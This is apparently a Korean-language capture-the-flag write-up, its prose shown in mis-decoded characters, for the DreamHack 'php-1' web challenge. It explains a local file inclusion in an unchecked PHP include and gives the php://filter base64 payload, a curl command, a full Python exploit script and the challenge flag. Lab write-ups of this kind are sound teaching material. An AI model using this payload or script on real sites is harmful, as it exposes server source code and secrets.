๋ฌธ์ : DreamHack โ php-1 ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 1 FLAG:
DH{bb9db1f303cacf0f3c91e0abca1221ff}
ํ์ผ์ ์ฌ๋ ค๋๊ณ ๋ชฉ๋ก์์ ๊ณจ๋ผ ๋ณด๋ ๊ด๋ฆฌ ํ์ด์ง๋ค. ๋ชฉ๋ก ๋งํฌ๋ฅผ ๋๋ฌ ํ์ผ์ ์ด๋ํ๋ ๊ฒฝ๋ก์ ํํฐ๊ฐ ์ด์ดํ๋ฐ, ์ ์ ๊ทธ ํ์ด์ง ์์ฒด๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒฝ๋ก์ ํํฐ๊ฐ ํ๋๋ ์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | php-1 |
| ๋์ด๋ | ๐ฅ Bronze 1 |
| ๋ถ๋ฅ | Web |
| ์คํ | PHP ยท Apache/2.4.18 (Ubuntu) |
| ์ ๊ณต | index.php / list.php / view.php / main.php ์์ค + ๋ผ์ด๋ธ ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | page ํ๋ผ๋ฏธํฐ๋ก ๋ค์ด๊ฐ๋ LFI โ file ํ๋ผ๋ฏธํฐ์ ํํฐ๊ฐ page์ ์ ์ฉ๋์ง ์์ |
ํ์ด ํ๋ฆ์ ๋จ์ํ๋ค. ๋ชฉ๋ก ํ์ด์ง๋ก ์
๋ก๋ ๋๋ ํ ๋ฆฌ์ flag.php๊ฐ ์๋ค๋ ๊ฑธ ํ์ธํ๊ณ , ์ด๋ ํ์ด์ง์ ํํฐ์ ๋งํ๋ฉด ํ์ด์ง ์์ฒด๋ฅผ ๋ถ๋ฌ์ค๋ include() ์ชฝ์ผ๋ก ๋ฐฉํฅ์ ํผ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ PHP include()์ php://filter
PHP์ include($path)๋ $path๊ฐ ๊ฐ๋ฆฌํค๋ ํ์ผ์ ๊ทธ ์๋ฆฌ์์ ํ์ฑํด ์คํํ๋ค. $path์ ์ฌ์ฉ์ ์
๋ ฅ์ด ๊ทธ๋๋ก ๋ค์ด๊ฐ๋ฉด ์๋ฒ์ ์์ ํ์ผ์ ์คํํ๊ฑฐ๋(๋ก์ปฌ ํ์ผ ํฌํจ, LFI), ์์ ๋ค๋ฅธ ํ๋กํ ์ฝ ํธ๋ค๋ฌ๋ฅผ ๋ถ์ผ ์๋ ์๋ค.
PHP๋ ํ์ผ ๊ฒฝ๋ก ์๋ฆฌ์ ์ผ๋ฐ ๋ก์ปฌ ๊ฒฝ๋ก ๋ง๊ณ ๋ php:// ์คํธ๋ฆผ ๋ํผ๋ฅผ ๋ฐ๋๋ค. ๊ทธ์ค php://filter๋ "์ด ํ์ผ์ ์ด๋, ๋ด์ฉ์ ํํฐ์ ํต๊ณผ์์ผ ๋ฌ๋ผ"๋ ์์ฒญ์ด๋ค.
php://filter/convert.base64-encode/resource=๋์ํ์ผ์ด ๋ํผ๊ฐ ๋ถ์ผ๋ฉด resource= ๋ค ํ์ผ์ PHP ์ฝ๋๋ก ์คํ๋์ง ์๊ณ , base64๋ก ์ธ์ฝ๋ฉ๋ ํ
์คํธ๋ก ๋ฐํ๋๋ค. include()๋ ๊ทธ ๊ฒฐ๊ณผ๋ฅผ ๋ค์ ํ์ฑํ๋ ค ํ์ง๋ง <?php ํ๊ทธ๊ฐ ์๋ ์์ base64 ๋ฌธ์์ด์ด๋ผ ๊ทธ๋๋ก ํ๋ฉด์ echo๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ์คํ์ด ์๋๋ผ ์์ค ์ฝ๋ ๊ทธ ์์ฒด๋ฅผ ์ป๊ฒ ๋๋ค.
์ด ๋ฌธ์ ๋ include()๋ฅผ ํธ์ถํ๋ ์ง์ ๊ณผ, ํ์ผ์ "์ด๋"ํด ๋ณด์ฌ์ฃผ๋ ์ง์ ์ด ์๋ก ๋ค๋ฅธ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฐ๋๋ฐ ํํฐ๋ ํ์ชฝ์๋ง ๊ฑธ๋ ค ์์๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์ ๊ณต๋ ์์ค๋ ๋ ์ฅ์ด๋ค. index.php๊ฐ ๋ผ์ฐํ
๊ฒธ ๋ทฐ ๋ก๋๋ค.
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>page ํ๋ผ๋ฏธํฐ๊ฐ ์์ผ๋ฉด $_GET['page'].'.php'๋ฅผ, ์์ผ๋ฉด main.php๋ฅผ includeํ๋ค. ๊ฒ์ฌ๊ฐ ์ ํ ์๋ค. page=list, page=view ๋ ๋ค ์ด๋ ๊ฒ ๋ก๋๋๋ค.
list.php๋ ์
๋ก๋ ๋๋ ํ ๋ฆฌ๋ฅผ ์ค์บํด ๋งํฌ๋ฅผ ๋ฟ๋ ค์ค๋ค.
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}์ค์ ๋ก ์ด์ด๋ดค๋ค.

flag.php์ hello.json ๋ ๊ฐ๊ฐ ์๋ค. ์ด๋ฆ๋ถํฐ ๋ชฉํ๊ฐ ๋ญ์ง ์๋ ค์ค๋ค. ๋ฌธ์ ๋ ์ด๊ฑธ ์ด๋ป๊ฒ ์ฌ๋๋๋ค.
view.php๊ฐ ์ค์ ์ด๋ ๋ก์ง์ด๋ค.
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);file ํ๋ผ๋ฏธํฐ์ flag(๋์๋ฌธ์ ๋ฌด๊ด)๋ : ๊ฐ ํ๋๋ผ๋ ๋ค์ด๊ฐ๋ฉด ๊ทธ ์๋ฆฌ์์ ๋๋๋ค. ๋ชฉํ ํ์ผ๋ช
์์ฒด์ flag๊ฐ ๋ฐํ ์์ด์ ๊ฒฝ๋ก๋ฅผ ์๋ ๊ทธ๋๋ก ๋๊ธฐ๋ฉด ๋ฐ๋ก ๊ฑธ๋ฆฐ๋ค.
๐ ์ฝ์ง โ file ํ๋ผ๋ฏธํฐ๋ก๋ ๋ต์ด ์๋ค
๊ฐ์ฅ ๋จผ์ list.php๊ฐ ๋ง๋ค์ด์ค ๋งํฌ ๊ทธ๋๋ก ๋๋ฌ๋ดค๋ค.
โถ๐ ์ฝ์ง 1 โ file=../uploads/flag.php, 'flag' ๋ฌธ์์ด์ ๊ฑธ๋ฆผ
GET /?page=view&file=../uploads/flag.php
preg_match('/flag|.../i', ...)๊ฐ ํ์ผ๋ช
์์ "flag" ์์ฒด๋ฅผ ์ก์๋ธ๋ค. ๋์๋ฌธ์๋ฅผ ๋ฐ๊ฟ๋(FLAG.php, FlAg.php) /i ํ๋๊ทธ ๋๋ฌธ์ ์์ฉ์๋ค.
๊ทธ๋ผ flag๋ผ๋ ๊ธ์๋ฅผ ์์ ์ ์ฐ๊ณ php://filter๋ก ์ฐํํ๋ฉด ์ด๋จ๊น ์ถ์ด ์๋ํ๋ค.
โถ๐ ์ฝ์ง 2 โ file=php://filter/โฆ, ์ด๋ฒ์ ์ฝ๋ก ์ ๊ฑธ๋ฆผ
GET /?page=view&file=php://filter/convert.base64-encode/resource=../uploads/flag
php://filter ์์ฒด์ "flag" ๊ธ์๊ฐ ์์ด๋, : ํ๋๊ฐ ์ ๊ท์์ ๋ ๋ฒ์งธ ์กฐ๊ฑด(|:)์ ๊ฑธ๋ฆฐ๋ค. ์คํด ๊ตฌ๋ถ์ ์ฝ๋ก ์ ๋นผ๋ฉด ๋ํผ ์์ฒด๊ฐ ์ฑ๋ฆฝํ์ง ์์ผ๋, file ํ๋ผ๋ฏธํฐ๋ก๋ ์ด ๊ธธ์ด ์์ ํ ๋งํ ์๋ค.
๋ ๋ฒ ๋ค ๋งํ๊ณ ๋์์ผ view.php๋ง ์ณ๋ค๋ณด๊ณ ์์๋ค๋ ๊ฑธ ๊นจ๋ฌ์๋ค. file์ view.php ์์์๋ง ๊ฒ์ฌ๋๋ค. ๊ทธ๋ฐ๋ฐ ์ ์ด์ view.php๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒ๋, list.php๋ฅผ ๋ถ๋ฌ์ค๋ ๊ฒ๋ ์ ๋ถ index.php์ page ํ๋ผ๋ฏธํฐ๋ฅผ ๊ฑฐ์น๋ค. ๊ทธ page ์ชฝ์ ์๋ฌด ๊ฒ์ฌ๊ฐ ์๋ค.
๐ฃ ํต์ฌ โ page๋ ํํฐ๋ฅผ ๊ฑฐ์น์ง ์๋๋ค
view.php์ ํํฐ๋ file ๋ณ์ ํ๋๋ง ๋ณธ๋ค. page ๋ณ์๋ ์กด์ฌ ์์ฒด๋ฅผ ๋ชจ๋ฅธ๋ค. ๊ทธ๋ฆฌ๊ณ index.php์ include $_GET['page'].'.php'๋ ๊ทธ ์์ฒด๋ก ์์ ํ LFI ์ง์
์ ์ด๋ค.

์ฌ๊ธฐ์ ๊ฑธ๋ฆฌ๋ ๊ฑด .php๊ฐ ์๋์ผ๋ก ๋ถ๋๋ค๋ ์ ํ๋๋ค. page=../uploads/flag๋ฅผ ๋๊ธฐ๋ฉด ์๋ฒ๋ ../uploads/flag.php๋ฅผ includeํ๋ค. ๋ง์นจ ๋ชฉํ ํ์ผ ์ด๋ฆ์ด ์ ํํ flag.php๋ผ์, ์ด ์๋ ์ฒจ๋ถ๊ฐ ๋ฐฉํด๊ฐ ์๋๋ผ ๋ฑ ๋ง์๋จ์ด์ง๋ค.
๊ทธ๋๋ก includeํ๋ฉด PHP ์ฝ๋๊ฐ ์คํ๋ผ์ $flag = '...' ๋์
๋ฌธ์ ํ๋ฉด์ ์๋ฌด๊ฒ๋ ์ ๋จ๊ธด๋ค. ๊ทธ๋์ php://filter/convert.base64-encode๋ฅผ page์ ํ์ด๋ค.
page = php://filter/convert.base64-encode/resource=../uploads/flag์ฌ๊ธฐ์ index.php๊ฐ .php๋ฅผ ๋ถ์ด๋ฉด ์ต์ข
์ ์ผ๋ก resource=../uploads/flag.php๊ฐ ์์ฑ๋๊ณ , include()๋ ์ด ๋ฌธ์์ด ์ ์ฒด๋ฅผ ์คํธ๋ฆผ ๋ํผ๋ก ์ด์ด flag.php์ ๋ฐ์ดํธ๋ฅผ ์คํ ์์ด base64๋ก ๋๋ ค์ค๋ค.
๐ฏ ์ต์คํ๋ก์
์ค์ ๋ก ์์ฒญ์ ๋ณด๋ด๋ดค๋ค.
GET /?page=php://filter/convert.base64-encode/resource=../uploads/flag
๋ณธ๋ฌธ ๊ฐ์ด๋ฐ์ base64 ๋ฌธ์์ด์ด ๊ทธ๋๋ก ์ฐํ๋ค. ํฐ๋ฏธ๋์์ ๊ฐ์ ์์ฒญ์ ๋ณด๋ด ๋ฌธ์์ด๋ง ๋ฝ์ ๋์ฝ๋ฉํ๋ค.
curl -s "http://host3.dreamhack.games:22471/?page=php://filter/convert.base64-encode/resource=../uploads/flag" \
| grep -oE "[A-Za-z0-9+/=]{40,}" | base64 -d
$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';๊ฐ ๊ทธ๋๋ก ๋์จ๋ค. view.php๊ฐ ๊ทธ๋ ๊ฒ ์งํค๋ ค๋ ๋ฌธ์์ด์ด index.php ์ชฝ์์๋ ์๋ฌด ์ ํญ ์์ด ์์ด๋๊ฐ๋ค.
๐ Full Exploit
์ ์ฐฐ๋ถํฐ ๋์ฝ๋ฉ๊น์ง ํ ์คํฌ๋ฆฝํธ๋ก ๋ฌถ์๋ค.
#!/usr/bin/env python3
# index.php ์ include($_GET['page'].'.php') LFI๋ฅผ php://filter ๋ก ์์ค๋ง ์ฝ์ด๋ธ๋ค.
import base64
import re
import sys
import urllib.parse
import urllib.request
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:22471"
def read_via_page_lfi(target_no_ext):
# index.php ๊ฐ ๋ค์ '.php' ๋ฅผ ์๋์ผ๋ก ๋ถ์ด๋ฏ๋ก ํ์ฅ์ ์์ด ๋๊ธด๋ค.
wrapper = f"php://filter/convert.base64-encode/resource={target_no_ext}"
url = f"{BASE}/?page=" + urllib.parse.quote(wrapper, safe="")
html = urllib.request.urlopen(url, timeout=10).read().decode()
m = re.search(r"[A-Za-z0-9+/=]{40,}", html)
return base64.b64decode(m.group(0)).decode() if m else None
src = read_via_page_lfi("../uploads/flag")
print("[*] ../uploads/flag.php ์์ค:")
print(src)
flag = re.search(r"DH\{[^}]*\}", src)
print("\n[+] FLAG =", flag.group(0) if flag else "(not found)")
[+] FLAG = DH{bb9db1f303cacf0f3c91e0abca1221ff}๐ ๊ฒฐ๋ก
๊ฐ์ ๊ฐ์ ๋ค๋ฃจ๋ ์ง์ ์ ์ด ์ฌ๋ฌ ๊ฐ๋ฉด, ํํฐ๋ ๊ทธ ๊ฐ์๋งํผ ํ์ํ๋ค.
view.php์ ๊ฐ๋ฐ์๋ file ํ๋ผ๋ฏธํฐ๋ก ์์ ํ์ผ์ด ์ฝํ๋ ๊ฑธ ์๊ณ ์ ๊ท์์ผ๋ก ๋ง์๋ค. ๊ทธ๋ฐ๋ฐ ๊ทธ ํ์ด์ง ์์ฒด๋ฅผ ๋ถ๋ฌ์ค๋ index.php์ page ํ๋ผ๋ฏธํฐ๊ฐ ์ฌ์ค์ ๊ฐ์ ๋ฅ๋ ฅ(์์ ํ์ผ include)์ ๊ฐ์ง๊ณ ์๋ค๋ ๊ฑธ ๋์ณค๋ค. ๊ฒ์ฌ๋ฅผ "ํ๋ฉด์ ๊ฒฐ๊ณผ๊ฐ ๋ณด์ด๋ ์ง์ "์๋ง ๋๋ฉด, ๊ทธ ์๋จ์ ๋ก๋๋ ๊ทธ๋๋ก ์ด๋ ค ์๋๋ค.
php://filter๋ ์คํ์ ์ฐํํด ์์ค๋ฅผ ์ฝ๋ ํ์ค ์๋จ์ด๋ค.
LFI๊ฐ ์์ด๋ ๋์์ด PHP ํ์ผ์ด๋ฉด include ์ ์ฝ๋๊ฐ ์คํ๋์ด ์ํ๋ ๋ฌธ์์ด์ด ํ๋ฉด์ ์ ๋จ์ ์ ์๋ค. php://filter/convert.base64-encode/resource=๋ก ๊ฐ์ธ๋ฉด ์คํ ๋์ ์ธ์ฝ๋ฉ๋ ์๋ฌธ์ ๊ทธ๋๋ก ๋ฐ์, ์คํ ๊ฒฐ๊ณผ๊ฐ ์๋๋ผ ์์ค ์์ฒด๋ฅผ ํ๋ณดํ ์ ์๋ค.
๋ธ๋๋ฆฌ์คํธ๋ ๊ฒ์ฌ ๋์ ์์ฒด๊ฐ ์ฐํ ๊ฐ๋ฅํ ๋ฌธ์์ด์ด๋ผ๋ ๊ฑธ ์๊ธฐ ์ฝ๋ค.
/flag|:/i ํ๋๋ก ํ์ผ๋ช
๊ณผ ์คํธ๋ฆผ ๋ํผ๋ฅผ ๋์์ ๋ง์ผ๋ ค ํ ์๋๋ ๋์์ง ์์์ง๋ง, ๊ทธ ํํฐ๊ฐ ๋ถ์ด์ผ ํ ์๋ฆฌ๊ฐ ํ ๊ณณ์ด ์๋๋ผ๋ ๊ฑธ ํ์ธํ์ง ๋ชปํ๋ฉด ๋ค๋ฅธ ์ง์
์ ์์ ๊ทธ๋๋ก ๋ซ๋ฆฐ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ